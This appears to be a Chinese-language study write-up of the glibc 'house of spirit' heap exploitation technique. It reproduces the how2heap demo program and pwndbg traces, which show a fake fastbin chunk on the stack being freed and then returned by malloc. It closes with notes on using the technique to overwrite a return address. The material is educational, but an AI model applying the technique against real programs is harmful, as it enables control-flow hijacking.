6.house_of_spirit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

0x01 malloc(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Top Chunk: 0x603020
Last Remainder: 0

0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x603020 PREV_INUSE {
prev_size = 0x0,
size = 0x20fe1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

0x02:unsigned long long fake_chunks[10] attribute ((aligned (16)));

这步操作怎么肥四噢?

1
2
3
4
pwndbg> p &fake_chunks
$7 = (unsigned long long (*)[10]) 0x7fffffffde40
pwndbg> p fake_chunks
$8 = {0xff00000000, 0xff00, 0x0, 0x0, 0x1, 0x4008ed, 0x0, 0x0, 0x4008a0, 0x4005b0}

fakechunk的地址在栈上

0x03:构造一个fastbin

1
2
fake_chunks[1] = 0x40;      // this is the size
fake_chunks[9] = 0x1234; // nextsize

0x04:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
a = &fake_chunks[2];
free(a);



pwndbg> heap
Top Chunk: 0x603020
Last Remainder: 0

0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x603020 PREV_INUSE {
prev_size = 0x0,
size = 0x20fe1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffde40 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

0x06malloc(0x30)

1
输出:malloc(0x30): 0x7fffffffde50

返回了栈上的地址

0x07总结

伪造一个fake_fastbin,注意这个fake_chunk的大小,要在fastbins里,太大不会被丢到fastbins里

伪造的fast_chunk被丢到对应的fastbins里去之后再申请对应大小的空间,申请的是这个被丢进来的fast_chunk。

通过构造 fake chunk,然后将其 free
掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。

house-of-spirit 是一种通过堆的 fast bin 机制来==辅助栈溢出==的方法,一般的栈溢出漏
洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流,但如果栈溢出
的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被 free 的堆指针,此时
可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据,接
着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小
时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就
可能造成返回地址的改写。

。所以利用的第一步不是去控制一个 chunk,而是==控制传
给 free 函数的指针==,将其指向一个 fake chunk。所以== fake chunk 的伪造是关键==。

首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。
另外正如上面所说的,==需要一个传递给 free 函数的可以被修改的指针==,无论是通过
栈溢出还是其它什么方式

PREV_INUSE 位并不影响 free
的过程,但 ==IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零==。其次,在 64 位 系统中fast chunk的大小要在32~128字节之间。最后,是next chunk的大小,必须大于2*SIZE_SZ(即大于16),小于av->system_mem (即小于128kb),才能绕过对 next chunk 大小的检查。